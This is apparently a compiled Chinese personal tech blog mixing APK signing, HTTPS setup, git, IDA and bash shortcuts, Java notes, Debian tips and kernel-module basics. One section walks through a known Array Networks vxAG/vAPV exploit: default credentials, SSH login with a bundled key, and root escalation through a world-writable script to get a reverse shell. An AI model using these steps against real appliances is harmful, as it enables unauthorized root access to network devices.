首先，如果没有签名密钥，先生成密钥：
1 | keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore android.keystore |
接着会提示你输入密码、地区、国家等等，根据提示输入即可。
我这里的用户名和密码都是android
然后使用密钥进行签名
1 | jarsigner -keystore android.keystore -storepass android -keypass android XXX.apk android.keystore |
keytool和jarsigner都是jdk自带的工具，配好环境变量就可以直接在命令行使用的。
https://startssl.com 这个网站可以给我们免费提供可信任的https证书，这里简单介绍一下配置的过程。
首先服务器需要安装openssl和apache的mod_ssl.so模块，并且需要在httpd.conf中开启这个模块。
完成上述操作之后就可以使用openssl生成你自己的证书了。
这里有些知识你需要了解一下。
https的整个服务中，你需要了解这些文件的作用：
server.key 服务器的私钥
server.crt 服务器的证书文件
server.csr 服务器证书请求文件
root.crt 根证书
这些文件是这样生成的
首先运行
1 | openssl req -new -nodes -keyout chorder.net.key -out chorder.net.csr |
生成服务器证书和服务器证书请求文件，过程中会要求输入很多有关证书的信息和密码。
这一步完成之后会生成两个文件，chorder.net.key和chorder.net.csr
这时候去startssl网站上注册帐号，然后提交自己生成的.csr文件，让startssl为你生成一个
服务器证书和根证书。
把两个.crt结尾的证书拷贝到服务器的/etc/pki/tls/certs/下，把.key和.csr文件拷贝到/etc/pki/tls/private/下。（只针对CentOS服务器，其他服务器请自行百度）。
另外还需要将/etc/pki/tls/下的cert.pem（如果没有则创建一个）链接指向到/etc/pki/tls/certs/root.crt
这样用火狐浏览器访问的时候才不会报 SEC_ERROR_UNKNOWN_ISSUER 这个错误。
这个cert.pem就是证书链，只有当你的服务器证书包含在startssl网站的证书链中，客户端才会认为你的证书是可信的。
最后，修改两个文件。
在该文件中修改以下内容：
指定服务器证书
1 | SSLCertificateFile /etc/pki/tls/certs/chorder.net.crt |
指定服务器私钥
1 | SSLCertificateKeyFile /etc/pki/tls/private/chorder.net.key |
指定服务器证书链
1 | SSLCertificateChainFile /etc/pki/tls/certs/root-bundle.crt |
为你的主机（我这里是虚拟主机）创建配置
我的配置如下
NameVirtualHost *:443
<VirtualHost *:443>
SSLEngine on
SSLCertificateFile /etc/pki/tls/certs/chorder.net.crt
SSLCertificateKeyFile /etc/pki/tls/private/chorder.net.key
SSLCertificateChainFile /etc/pki/tls/cert.pem
ServerName chorder.net
ServerAdmin ×××××
DocumentRoot ×××××
ErrorLog ×××××
CustomLog ×××××
</VirtualHost>
其实就是http配置文件下多加了几行。
配置好这些以后，重启服务，完成。
另外，如果你希望访问你的域名直接跳转到https端口，可以写一段js来跳转，如果觉得
写代码太麻烦，可以在根目录的.htaccess文件中加入这两行来帮你自动跳转:
1 | RewriteCond %{SERVER_PORT} !^443$ |
这样就将默认端口指定为443,并且将所有http的请求重写为https.
这是一个比较老的漏洞了，但是到目前为止仍然有不少厂商在使用这个版本的设备。在渗透中也曾经遇到过。
参考自：https://www.exploit-db.com/exploits/32369/
受影响的产品有: Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances
默认用户和密码
vxAG 9.2.0.34 和 vAPV 8.3.2.17 的/etc/master.passwd 文件中包含了默认用户和密码
1 | $ cat /etc/master.passwd |
破解之后可以得到下列用户和密码:
1 | 用户: mfg 密码: mfg |
test和root用户没破解出来。
其中sync用户默认可以远程登录:
1 | $ssh sync@192.168.2.55 /bin/sh |
SSH 私钥
sync 用户使用了位于 “~/.ssh/id_dsa” 的登录私钥:
1 | $ cat id_dsa |
下列文件位于 ~/.ssh 目录:
1 | $ cat authorized_keys |
如此一来就可以使用这个私钥进入系统:
将下面的id_dsa私钥保存在”synckey”文件中:
1 | cat > ~/synckey << EOF |
修改synckey文件的权限:
1 | chmod 600 ~/synckey |
使用该私钥登录系统:
1 | ssh -i ~/synckey sync@x.x.x.x /bin/sh |
提权
/ca/bin/monitor.sh和 /ca/bin/debug_syn_stat默认是全局可写的 (权限为777).
在monitor.sh文件中写入脚本，通过debug monitor选项重新启动该脚本会以root权限运行。
使用sync用户运行/ca/bin/backend工具，使用如下方式重启debug monitor:
关闭debug monitor:
1 | /ca/bin/backend -c "debug monitor off"`echo -e "\0374"` |
开启debug monitor:
1 | /ca/bin/backend -c "debug monitor on"`echo -e "\0374"` |
在/ca/bin/monitor.sh中写入反弹shell的指令，通过上述操作，即可反弹回一个root shell.
创建本地分支
1 | git branch NAME |
切换本地分支
1 | git checkout NAME |
查看远程分支
1 | git branch -r |
推送本地分支到远程仓库
1 | git push origin NAME |
引用子模块
1 | git submodule add RESPOSITORIES PATH |
克隆带有子模块的项目
1 | git clone XXX |
跟踪其他分支
1 | git remote add upstream XXX.git |
| 快捷键 | 作用 |
|---|---|
| Alt+T | 搜索文本 |
| Ctrl+1 | Quick View导航 |
| 空格键 | 图形视图/汇编视图切换 |
| Shift+F3 | 切换到Functions窗口 |
| Shift+F4 | 切换到Names窗口 |
| Shift+F7 | 切换到Segments窗口 |
| Shift+F12 | 切换到Strings窗口 |
| IDA View内 | |
| Ctrl+Enter | 前进(函数调用) |
| Esc | 后退(函数调用) |
| 快捷键 | 操作 |
|---|---|
| Ctrl + a | 移到命令行首 |
| Ctrl + e | 移到命令行尾 |
| Ctrl + f | 按字符前移（右向） |
| Ctrl + b | 按字符后移（左向） |
| Alt + f | 按单词前移（右向） |
| Alt + b | 按单词后移（左向） |
| Ctrl + xx | 在命令行首和光标之间移动 |
| Ctrl + u | 从光标处删除至命令行首 |
| Ctrl + k | 从光标处删除至命令行尾 |
| Ctrl + w | 从光标处删除至字首 |
| Alt + d | 从光标处删除至字尾 |
| Ctrl + d | 删除光标处的字符 |
| Ctrl + h | 删除光标前的字符 |
| Ctrl + y | 粘贴至光标后 |
| Alt + c | 从光标处更改为首字母大写的单词 |
| Alt + u | 从光标处更改为全部大写的单词 |
| Alt + l | 从光标处更改为全部小写的单词 |
| Ctrl + t | 交换光标处和之前的字符 |
| Alt + t | 交换光标处和之前的单词 |
| Alt + Backspace | 与 Ctrl + w 类似 重新执行命令 |
| Ctrl + r | 逆向搜索命令历史 |
| Ctrl + g | 从历史搜索模式退出 |
| Ctrl + p | 历史中的上一条命令 |
| Ctrl + n | 历史中的下一条命令 |
| Alt + . | 使用上一条命令的最后一个参数 控制命令 |
| Ctrl + l | 清屏 |
| Ctrl + o | 执行当前命令，并选择上一条命令 |
| Ctrl + s | 阻止屏幕输出 |
| Ctrl + q | 允许屏幕输出 |
| Ctrl + c | 终止命令 |
| Ctrl + z | 挂起命令 Bang (!)命令 |
| !! | 执行上一条命令 |
| !blah | 执行最近的以 blah 开头的命令，如 !ls |
| !blah:p | 仅打印输出，而不执行 |
| !$ | 上一条命令的最后一个参数，与 Alt + . 相同 |
| !$:p | 打印输出 !$ 的内容 |
| !* | 上一条命令的所有参数 |
| !*:p | 打印输出 !* 的内容 |
| ^blah | 删除上一条命令中的 blah |
| ^blah^foo | 将上一条命令中的 blah 替换为 foo |
| ^blah^foo^ | 将上一条命令中所有的 blah 都替换为 foo |
定义类的过程就是定义类的属性的过程。类的属性就是类的静态属性的简称，指类内包含的各项数据。类的服务被称为成员函数或方法。
通过定义继承方法，子类可以获得父类的所有属性和方法。
说明当前类中实现了哪个接口定义的功能和方法，是Java语言中实现多重继承的一种机制
描述了类内部的信息，又称为类的静态属性。类属性为简单变量。
【修饰符】 变量类型 变量名【=变量初值】
【修饰符】 类名 对象名 【=new 类名（实际参数列表）】
若使用另一个类的对象作为当前类所定义的类的属性，要保证该对象所在的类在当前类中是可已被当前类所引用的
用来规定类属性上的操作，实现类内部功能的机制，也是类与外界交互的窗口。
声明方法的语法:
【修饰符】返回值类型 方法名（参数列表）
Trows 例外名1，例外名2，… {
方法体：
局部变量声明；
语句序列；
}
特殊之处:
Java在声明类时，可以不定义构造函数，系统会自动为该类生成一个默认的构造函数，此时这个构造函数的名字与类名相同，没有任何形式参数，也不完成任何操作。
在创建一个类的新对象的同时，系统会自动调用该类的构造函数为新对象初始化。
类的访问控制符只有一个public
属性和方法的访问控制符有：
对于同一个包中的类可以不需任何说明，方便的互相访问和引用。
在不同包中的类，只有他们都声明为public时，然后再在程序头部声明import后才可以被访问和引用相应的类。
publici修饰的类的属性称为公共属性，如果公共属性属于一个公共类，则可以被所有的其他类使用。
public修饰符会造成安全性和数据封装性下降，应尽量减少public属性的使用。
缺省访问控制符规定该类只能被同一个包中的类访问和引用，而不可以被其他包中的类引用，这种特性称为包访问性。
类内的属性和方法如果没有访问控制符来限定，也说明他们具有包访问性，可以被同一个包中的其他类所访问和调用。
用private修饰的属性或方法只能被该类自身所访问和修改，而不能被任何其他类，包括该类的子类来获取和引用。
procted修饰的属性可以被该类自身和包中的类访问。
静态属性
被static修饰的属性称为静态属性，静态属性是一个公共的存储单元。任何一个类的对象访问它时取到的都是相同的值，任何一个类的对象去修改它时，都是在对同一个内存单元做操作。
static修饰符修饰的属性是属于类的公共属性
static修饰符修饰的方法是属于整个类的方法
不用static修饰符修饰的方法是属于某个具体对象或实例的方法
声明一个方法的static至少有三重含义：
静态初始化器
是由关键字static引导的一对大括号括起的语句组。
静态初始化器与构造函数的区别：
构造函数是对每个新创建的对象初始化，而静态初始化器是对每个类进行初始化。
构造函数是在用new运算符产生新对象时由系统自动执行，而静态初始化器则是在它所属的类加载入内存时由系统调用运行的。
不同于构造函数，静态初始化器不是方法，没有方法名，返回值和参数列表。
抽象类
当一个类被生命为abstract时，这个类被称为抽象类。
所谓抽象类就是没有具体实例对象的类。
抽象类是它所有子类的公共属性的集合。
使用抽象类的一大优点就是可以利用这些公共属性来提高开发和维护程序的效率。
最终类，最终属性，最终方法，终结器
最终类
如果一个类被final修饰符所修饰和限定，说明这个类不可能拥有子类
最终属性
final就是用来修饰常量的修饰符，一个类的成员变量如果被声明为final，那么它的取值在程序的执行过程中都不会改变，也就是一个常量
用final修饰符说明常量时：
需要说明常量的数据类型
需要同时指出常量的具体取值
因为所有类的对象的常量成员，其数值都固定一致，为了节省空间，常量通常都被声明为static。
final修饰符所修饰的类方法，是功能和内部语句都不能被更改的最终方法，即是不能被当前类的子类重载的方法。
final方法固定所对应的具体操作，防止子类对父类关键方法的错误的重定义，保证了程序的安全性和正确性。
所有已被private修饰符限定为私有的方法，以及所包含在final类中的方法，都被缺省的认为是final的。
protected void finalize(){}
终结器是一个名为finalize的方法，没有产生列表和返回值。
volatile修饰符
被volatile修饰的类的属性可能同时被几个线程控制和修改，通常用来修饰受外部输入的属性。
Debian是我日常使用的桌面系统，这里记录了我在使用Debian和其他Linux时所有的问题和解决办法，以及一些其他的心得体会。
向Debian致敬！
在/etc/polkit-1/localauthority/50-local.d/新建文件50-admin.pkla,写入如下内容：
1 | [disable suspend] |
安装rfkill工具
apt-get install rfkill
然后运行：
rfkill list all
可以查看到网卡设备的状态如下：
1 | 0: dell-wlan: Wireless LAN |
根据软件或者硬件的状态解锁。
1 | sudo groupadd wireshark |
首先下载flash player，保存为flash.tar.gz
then:
1 | tar -zxvf flash.tar.gz |
重启浏览器即可。
报错内容：(/var/log/syslog)
1 | Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: pppd started with pid 14188 |
依次输入如下命令：
1 | modprobe nf_nat_pptp |
下次启动还会失效，所以要编辑/etc/modules-load.d/modules.conf文件，添加如下三行：
1 | nf_nat_pptp |
1 | GRUB_TIMEOUT=5 |
1 | GRUB_TIMEOUT=1 |
1 | # update-grup |
1 | DefaultTimeoutStartSec=5s |
出于隐私需求，不想暴露真实mac地址，把下面这个脚本的内容加入/etc/init.d，就可以在每次开机的时候为网卡随机设置一个mac地址。
1 | #!/bin/bash |
运行
1 | gsettings set org.gnome.desktop.app-folders folder-children [''] |
1 | for k in `rpm -qa | grep kernel |grep -v \`uname -r\``;do yum remove $k;done |
修改 ~/.Xmodmap 文件
如果想要鼠标逆序滚动，就将其中的内容改为
pointer = 1 2 3 4 5 6 7 8 9 10 11 12
否则，就将内容改为：
pointer = 1 2 3 5 4 6 7 8 9 10 11 12
4和5代表的是鼠标滚轮方向的映射。
修改三个文件：
在Security节，加入
1 | AllowRoot=true |
注释掉下面这一行
1 | auth required pam_succeed_if.so_user != root quiet_success |
注释掉下面这一行
1 | auth required pam_succeed_if.so_user != root quiet_success |
重启。
Linux内核编程一直是我很想掌握的一个技能。如果问我为什么，我也说不上来。
也许是希望有一天自己的名字也出现在内核开发组的邮件列表里？或是内核发行文件的CREDITS上？
也许是吧。其实更多的，可能是对于底层的崇拜，以及对于内核的求索精神。
想到操作系统的繁杂，想到软件系统之间的衔接，内心觉得精妙的同时，更是深深的迷恋。
所以从这篇文章开始，我要真正的走进Linux内核里了，让代码指引我，去奇妙的世界一探究竟。
在这篇文章中，一起来对内核说Hello World。
本次的编程环境：
没有安装内核的，可能需要安装一下内核源码包
kernel-devel-2.6.32-642.4.2.el6.x86_64
yum install kernel-devel-2.6.32-642.4.2.el6.x86_64
安装好之后，这个版本内核可以在/usr/src/linux找到。
然后话不多说，首先看代码。
1 | //20160904 |
以上代码是kernel_hello_world.c内容。
作为内核模块，在编译的时候，Makefile文件这样写：
1 | #File:Makefile |
然后可以通过这条命令来编译：
1 | make -C /usr/src/linux SUBDIRS=$PWD modules |
编译好以后，目录下面的文件可能是这样子：
kernel_hello_world.ko.unsigned kernel_hello_world.o Module.symvers
kernel_hello_world.c kernel_hello_world.mod.c Makefile
kernel_hello_world.ko kernel_hello_world.mod.o modules.order
有这么多文件被生成，其中kernel_hello_world.ko就是本次编译出来的内核模块文件，在Linux内核中有很多这样的模块，它们可能充当着不同的角色，可能是驱动，也可能是各种设备。
这个模块会在/var/log/message文件中打印一行字，即Hello,World! –from the kernel space…
可以使用insmod kernel_hello_world.ko来将这个模块载入到内核，使用lsmod来查看是否已经加载，使用rmmod kernel_hello_world.ko来卸载这个模块。
可以tail /var/log/message来看一下是否成功执行了呢？
Hello，Kernel.
本次的编程环境：
在内核的源代码中定义了很多进程和进程调度相关的内容。其实Linux内核中所有关于进程的表示全都放在进程描述符这个庞大的结构体当中，关于这个结构体的内容和定义，可以在内核的linux/sched.h文件中找到。
现在就来通过编程实现对进程描述符的操作，主要是读取。至于修改等操作，将在后面的内容中提到。
通过对进程描述符的读取，可以获取进程的一切内容，包括进程的ID，进程的地址空间等等。
不多说，上代码：
1 | //20160912 |
以上的代码，主要就是通过引入内核头文件，进而引用进程描述符中的指针，并通过这种方式获取当前进程和相关进程的描述信息。
Makefile文件如下：
#Makefile
obj-m += currentptr.o
编译的指令：
make -C /usr/src/linux SUBDIRS=$PWD modules
然后通过insmod把模块装载进内核，首先tty输出了Hello tty！
同时在/var/log/message中，模块打印出了这些内容：
Sep 12 10:35:36 centos kernel: Hello -- from the kernel...
Sep 12 10:35:36 centos kernel: Parent pid: 2235(bash)
Sep 12 10:35:36 centos kernel: Current pid: 13197(insmod)
Sep 12 10:35:36 centos kernel: Current fs: 927961856
Sep 12 10:35:36 centos kernel: Current mm: 932613056
分别是这个进程的相关信息。
对于进程描述符的定义，在本次实验用来编译的内核源码包（kernel-devel-2.6.32-642.4.2.el6.x86_64）中，
进程描述符具体定义在include/linux/sched.h的1326行往后。
需要参考的进程具体信息都在其中，可随时参考，以备不时之需。
Update your browser to view this website correctly. Update my browser now